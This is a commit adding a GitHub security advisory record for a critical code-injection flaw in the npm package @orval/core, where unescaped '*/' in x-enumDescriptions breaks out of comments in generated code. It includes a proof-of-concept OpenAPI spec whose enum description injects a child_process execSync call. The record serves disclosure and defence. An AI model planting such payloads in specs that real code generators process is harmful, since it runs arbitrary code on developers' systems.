Publish GHSA-gch2-phqh-fg9q

advisory-database[bot] · advisory-database[bot] · commit 4f5498dea772 · 2026-01-30T21:19:00.000Z
diff --git a/advisories/github-reviewed/2026/01/GHSA-gch2-phqh-fg9q/GHSA-gch2-phqh-fg9q.json b/advisories/github-reviewed/2026/01/GHSA-gch2-phqh-fg9q/GHSA-gch2-phqh-fg9q.json
@@ -0,0 +1,88 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-gch2-phqh-fg9q",
+  "modified": "2026-01-30T21:17:25Z",
+  "published": "2026-01-30T21:17:25Z",
+  "aliases": [
+    "CVE-2026-25141"
+  ],
+  "summary": "Orval has Code Injection via unsanitized x-enum-descriptions using JS comments",
+  "details": "[CVE-2026-23947](https://github.com/advisories/GHSA-h526-wf6g-67jv) had an incomplete fix\n\nWhile the current [jsStringEscape](https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227) function properly handles single quotes ('), double quotes (\") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.\n\n**Example:**\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Enum PoC\n  version: \"1.0.0\"\n\npaths:\n  /ping:\n    get:\n      operationId: ping\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json:\n              schema:\n                $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n  schemas:\n    EvilEnum:\n      type: string\n      enum:\n        - PWNED\n      x-enumDescriptions:\n        # \"pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*\"\n        - \"pwned */ }; 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const a = { /*\"\n\n```",
+  "severity": [
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@orval/core"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "7.19.0"
+            },
+            {
+              "fixed": "7.21.0"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@orval/core"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "8.0.0"
+            },
+            {
+              "fixed": "8.2.0"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/orval-labs/orval"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/releases/tag/v7.21.0"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/orval-labs/orval/releases/tag/v8.2.0"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-84"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-01-30T21:17:25Z",
+    "nvd_published_at": null
+  }
+}
